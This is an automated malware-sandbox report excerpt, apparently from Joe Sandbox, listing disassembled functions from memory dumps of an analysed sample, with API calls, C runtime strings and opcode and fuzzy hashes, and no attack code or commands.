__calloc_crt.LIBCMT ref: 022F6472
_free.LIBCMT ref: 022F6480
__calloc_crt.LIBCMT ref: 022F648E
_free.LIBCMT ref: 022F649E
_free.LIBCMT ref: 022F64A4
__copytlocinfo_nolock.LIBCMT ref: 022F64B3
__setmbcp_nolock.LIBCMT ref: 022F64D4
_free.LIBCMT ref: 022F64E2
___removelocaleref.LIBCMT ref: 022F64E9
___freetlocinfo.LIBCMT ref: 022F64F0
_free.LIBCMT ref: 022F64F6

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 51e5d9fa6e08127b66beafa08d148a8e82b05df159ea2122fec227cdd042fb96
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 1A21D131124302EAE7B17FE5D801E2BFBEADF41B60B908039E769551ACEB628560CE50

Function 00410D00 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 326COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00410D40
__nh_malloc_dbg.LIBCMTD ref: 00410D8B

Part of subcall function 0040B3A0: __errno.LIBCMTD ref: 0040B3DE
Part of subcall function 0040B3A0: __errno.LIBCMTD ref: 0040B3E7

__nh_malloc_dbg.LIBCMTD ref: 00410EB7
GetFileType.KERNEL32(?), ref: 00410FC7

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 00410D80, 00410EAC

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __errno__nh_malloc_dbg$FileInfoStartupType
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 1695019643-4097262939
Opcode ID: 1bc01a0f0c691baf4e4cc68b34065c7dc340f7614b26052b33249eb89a344aa0
Instruction ID: d6b6c82909c30eb1ad1fd1397f7e551b65ca9e1a854c025419a8316198a2fb86
Opcode Fuzzy Hash: 1bc01a0f0c691baf4e4cc68b34065c7dc340f7614b26052b33249eb89a344aa0
Instruction Fuzzy Hash: DFE12974E04248CFDB24CFA8C890BADFBB1BB49314F24825ED5656B392C7759882CF49

Function 022F3F16 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022F3F51

Part of subcall function 022F5BA8: __getptd_noexit.LIBCMT ref: 022F5BA8

__gmtime64_s.LIBCMT ref: 022F3FEA
__gmtime64_s.LIBCMT ref: 022F4020
__gmtime64_s.LIBCMT ref: 022F403D
__allrem.LIBCMT ref: 022F4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022F40AF
__allrem.LIBCMT ref: 022F40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022F40E4
__allrem.LIBCMT ref: 022F40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022F4119
__invoke_watson.LIBCMT ref: 022F418A

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 43fcce26627511319772b30fb6bc430d7b068b7ce52ded6a301cdb38b6f6d3b7
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 8871DB71A10717ABD764EEB9CC80B6BF3B9AF00724F144279E714E6694EBB0D940CB90

Function 022F650E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 022F6547
__calloc_crt.LIBCMT ref: 022F6598
__lock.LIBCMT ref: 022F65AE
__copytlocinfo_nolock.LIBCMT ref: 022F65BF
_wcscmp.LIBCMT ref: 022F65F9
__lock.LIBCMT ref: 022F6610
__updatetlocinfoEx_nolock.LIBCMT ref: 022F6622
___removelocaleref.LIBCMT ref: 022F6628
__updatetlocinfoEx_nolock.LIBCMT ref: 022F6647

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: ae05b331517fb79032dfe56106d0466c868f1e5c52c0d905cc8f5625f6dc35b5
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: FF412632920309AFDB90AFE4D940BAEFBEAEF04314F104139EB2456198DBB99544DF11

Function 022F84AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 022F84B1
_free.LIBCMT ref: 022F84E2
_free.LIBCMT ref: 022F84F5
_free.LIBCMT ref: 022F8513
_free.LIBCMT ref: 022F8525
_free.LIBCMT ref: 022F8536
_free.LIBCMT ref: 022F8541
_free.LIBCMT ref: 022F8565
_free.LIBCMT ref: 022F8581
_free.LIBCMT ref: 022F8597
_free.LIBCMT ref: 022F85BF

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: cf5daa97e4ebcddc14ecac588c9f1ce938fcf109c81bfa33b5e0b32d02086f1c
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 5131D131910351DBCBA1AF94FC80C49F7A6FB14334345863AEB08572A8CBB059CCAF96

Function 00408EF0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 117synchronizationpipetimeCOMMON

Download Yara Rule

APIs

EnumResourceNamesW.KERNEL32(00000000,00000000,00000000,00000000,75914FF0,75921200,7591DFA0,75921760), ref: 00408F30
EnumResourceTypesW.KERNEL32(00000000,00000000,00000000), ref: 00408F3C
LocalFileTimeToFileTime.KERNEL32(00000000,00000000,75914FF0,75921200,7591DFA0,75921760), ref: 00408F67
GetNamedPipeHandleStateA.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00408F8A
FindNextVolumeW.KERNEL32(?,00000000,00000000,00000001,?,?,9E3779B9,00000020,?), ref: 00408FE8
SetLocaleInfoW.KERNEL32(00000000,00000000,Xanehe kajo big gizid xig), ref: 00408FF7
CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 00409003

Strings

Xanehe kajo big gizid xig, xrefs: 00408FEE
, xrefs: 00408F90

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: EnumFileResourceTime$CreateFindHandleInfoLocalLocaleMutexNamedNamesNextPipeStateTypesVolume
String ID: $Xanehe kajo big gizid xig
API String ID: 1670703584-1716423450
Opcode ID: c31313f72cc2aae3cee56c94cc915581035babdb158caf3afa5e9d732c5edc11
Instruction ID: 05daebc7d971e512cd2cce6d76d710ec7996d34144e8526b704e5c56399044ba
Opcode Fuzzy Hash: c31313f72cc2aae3cee56c94cc915581035babdb158caf3afa5e9d732c5edc11
Instruction Fuzzy Hash: 934137752483409FD310DF54DE85B5AB7E0FBC8705F008A2EF684AB2E0D774A508CBAA

Function 0041C4F4 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041C553
__errno.LIBCMTD ref: 0041C55B
_memset.LIBCMT ref: 0041C5DC
__errno.LIBCMTD ref: 0041C61A
__invalid_parameter.LIBCMTD ref: 0041C63B

Strings

_wcstombs_s_l, xrefs: 0041C631
sizeInBytes > retsize, xrefs: 0041C5F3, 0041C636
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0041C5FF, 0041C62C
P, xrefs: 0041C650

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __errno_memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2239222518-56445615
Opcode ID: 22196305958ab3fa7d1b1b97a5fb5df55d71ecec7c6ce3a9f59684d69fb3f16c
Instruction ID: 6787968e3db8b44c738df78565b523e0857e8c13cd8f5fd3a9ebdd836af3e385
Opcode Fuzzy Hash: 22196305958ab3fa7d1b1b97a5fb5df55d71ecec7c6ce3a9f59684d69fb3f16c
Instruction Fuzzy Hash: 59416B70A44209EBCF14CF58CC85BEE7772BB41314F10862AE8256B3D1D778AA95CF89

Function 0231FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0231FC1F

Part of subcall function 0230169C: std::exception::_Copy_str.LIBCMT ref: 023016B5

__CxxThrowException@8.LIBCMT ref: 0231FC34
std::exception::exception.LIBCMT ref: 0231FC4D
__CxxThrowException@8.LIBCMT ref: 0231FC62
std::regex_error::regex_error.LIBCPMT ref: 0231FC74

Part of subcall function 0231F914: std::exception::exception.LIBCMT ref: 0231F92E

__CxxThrowException@8.LIBCMT ref: 0231FC82
std::exception::exception.LIBCMT ref: 0231FC9B
__CxxThrowException@8.LIBCMT ref: 0231FCB0

Strings

leM, xrefs: 0231FCA8

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 4035212060b9c42a05f432d3825f4fd61cd7343c5d76aab21504dd357ce9faa4
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 0611C179C0020DB7CF04FFA5D8A5CDDBB7DAA04344F408566AD58A7685EB74A3488F94

Function 022DF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 022DF01F

Part of subcall function 022F1602: __FF_MSGBANNER.LIBCMT ref: 022F1619
Part of subcall function 022F1602: __NMSG_WRITE.LIBCMT ref: 022F1620

_malloc.LIBCMT ref: 022DF02B
_wprintf.LIBCMT ref: 022DF03E
_free.LIBCMT ref: 022DF044
_free.LIBCMT ref: 022DF065
_malloc.LIBCMT ref: 022DF06D
_sprintf.LIBCMT ref: 022DF0C0
_wprintf.LIBCMT ref: 022DF0D2
_wprintf.LIBCMT ref: 022DF0DC
_free.LIBCMT ref: 022DF0E5

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 6d1552ffb38a19955d36f887a26268e2ac45835148af0d806b9f9d119c2ba015
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 7B1127B2520650AAC2A162F40C11EFFBADD9F46712F840179FF8DD1184EA185A1497B1

Function 022E1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022E19C6
__CxxThrowException@8.LIBCMT ref: 022E19F1
__CxxThrowException@8.LIBCMT ref: 022E1A1A
__CxxThrowException@8.LIBCMT ref: 022E1A4B
_memset.LIBCMT ref: 022E1A6A
__CxxThrowException@8.LIBCMT ref: 022E1A90
_malloc.LIBCMT ref: 022E1AA0
_memset.LIBCMT ref: 022E1AAB
_sprintf.LIBCMT ref: 022E1ACE

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 0554c0ece073646fdfcad4ac447a618b3e267cb67e7d4310e06ba7d504950476
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 14513C71D40209ABDF11DBE5DC85FEFBBB9FB04744F100025FA09B6280E7745A158BA5

Function 0040C39E Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0040C41B
_CheckBytes.LIBCMTD ref: 0040C4B9
_CheckBytes.LIBCMTD ref: 0040C562

Strings

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0040C4EE
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0040C58C
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0040C450
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 0040C601

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: 1898d83aa1902ea8fcfa16409ea910fc262465cc4fbad97d6a37d3ff564300d0
Instruction ID: 86cfe0597a894686bcae726331847ad0db3edef453b09875c6163729f8b2d689
Opcode Fuzzy Hash: 1898d83aa1902ea8fcfa16409ea910fc262465cc4fbad97d6a37d3ff564300d0
Instruction Fuzzy Hash: E56113B5E00105DBDB18CB84D8D5FBFB3B5AB48304F248269E515BB3D2D279E882CB58

Function 0040EC91 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 69fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4), ref: 0040ED1E
_strlen.LIBCMT ref: 0040ED44
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040ED5C

Strings

jjj, xrefs: 0040ECE0
t/j, xrefs: 0040ED31
C~, xrefs: 0040ECF8
4~, xrefs: 0040ED07

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: FileHandleWrite_strlen
String ID: jjj$t/j$4~$C~
API String ID: 3444636687-2657085433
Opcode ID: 080fdccf91b71342c4b9ab5c7fb8b6f477e1599e2f902d5fb188a64dce975a3f
Instruction ID: d67ab7c082c7c5239fb510d3d3401bd73367f54e69a13299c09a9095c7a009d3
Opcode Fuzzy Hash: 080fdccf91b71342c4b9ab5c7fb8b6f477e1599e2f902d5fb188a64dce975a3f
Instruction Fuzzy Hash: DA21DD70904109FBFB34CB59D955B6E7370EB04304F104A7BE906762D1D23A9F60DB89

Function 022DF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022DF284
__CxxThrowException@8.LIBCMT ref: 022DF2AF
__CxxThrowException@8.LIBCMT ref: 022DF2DE
__CxxThrowException@8.LIBCMT ref: 022DF30F
_memset.LIBCMT ref: 022DF32E
__CxxThrowException@8.LIBCMT ref: 022DF354
_sprintf.LIBCMT ref: 022DF373

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 0f6b999ad629c6ea7a8c712eec513455280abaa8fcef8e999ad8d91fed5d6590
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: F75190B1D50249EBDF11DFE1DD46FEEBB79EB04704F100025F906B6180E7B4AA058BA8

Function 022DF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022DF4B7
__CxxThrowException@8.LIBCMT ref: 022DF4E2
__CxxThrowException@8.LIBCMT ref: 022DF504
__CxxThrowException@8.LIBCMT ref: 022DF535
_memset.LIBCMT ref: 022DF554
__CxxThrowException@8.LIBCMT ref: 022DF57A
_sprintf.LIBCMT ref: 022DF594

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: c7a780402eb8dcd1b678b59826fcf32a1277b61bcf0768cd15bba5050d3374f0
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 51515171D50209AADF21DFE1DD85FEEBBB9FB04704F100129F906B7180E774AA058BA5

Function 00423183 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 124COMMON

Download Yara Rule

APIs

__isatty.LIBCMTD ref: 00423269
__getbuf.LIBCMTD ref: 00423279
__write.LIBCMTD ref: 00423301

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 004232A0
",B, xrefs: 004232FD, 00423265, 00423268, 00423300
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 004232AC

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ",B$("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-93847698
Opcode ID: 2fcf44272db6c23eee5219fef31e07230397cfd261c3d9b03150e65bfa63286f
Instruction ID: c8ab8d7ef4c93216a1ecf6719755d52369c38e62210d9d5132285d6b19fb1808
Opcode Fuzzy Hash: 2fcf44272db6c23eee5219fef31e07230397cfd261c3d9b03150e65bfa63286f
Instruction Fuzzy Hash: 8351FA74B00218EFDB14CF94D495AADFBB1FF84325F248299E8456B395D638EA81CF44

Function 004208B7 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00420918
__aullrem.LIBCMT ref: 00420AE5
__aulldiv.LIBCMT ref: 00420B07

Strings

', xrefs: 004208B7
9, xrefs: 00420B18
0, xrefs: 004208D3

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: e56a7eb3272ce188181f6e5f6edba9427cfcd51053dac7488795e72b1c6a7d7e
Instruction ID: d427867125ed45735f8f20b217a30c10ab9d4de7f500785d75c2b4008cceeac9
Opcode Fuzzy Hash: e56a7eb3272ce188181f6e5f6edba9427cfcd51053dac7488795e72b1c6a7d7e
Instruction Fuzzy Hash: F741F4B1E05229DFEB24CF48D899BAEB7B5FB54304F5081DAD409A7242C7385E81CF45

Function 0041C3F3 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041C440
__errno.LIBCMTD ref: 0041C4AC
__invalid_parameter.LIBCMTD ref: 0041C4CD

Strings

_wcstombs_s_l, xrefs: 0041C4C3
